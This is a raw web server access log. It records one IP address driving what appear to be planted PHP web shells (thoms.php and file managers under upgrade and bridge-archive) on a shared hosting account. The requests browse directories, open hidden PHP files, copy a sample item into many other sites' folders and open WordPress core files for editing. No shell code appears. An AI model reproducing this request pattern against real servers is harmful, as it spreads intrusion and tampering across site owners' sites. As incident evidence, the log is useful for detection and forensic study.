45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 6853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2F.523536294085687.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 7411 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 31450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5820 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 6828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 6808 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2F.025229620227052.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 7399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 7114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 47700 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bestzyx.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=betcity.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bossini.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=broadweb.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=biotaiwan.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=besth2o.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bestjudy.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21866 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17478 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20652 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:40 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17565 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13840 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17429 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16556 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13330 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17387 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13474 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:41 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17303 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12537 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17713 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17364 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?edit=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 15085 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 18708 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19386 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 16709 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&option=file HTTP/1.1" 200 6397 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /thoms.php?edit=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 13123 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&location=%2Fhome%2F HTTP/1.1" 200 5823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 28416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 18760 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&location=%2F HTTP/1.1" 200 7897 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10761 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 6386 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 11130 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 6527 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8000 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 6400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
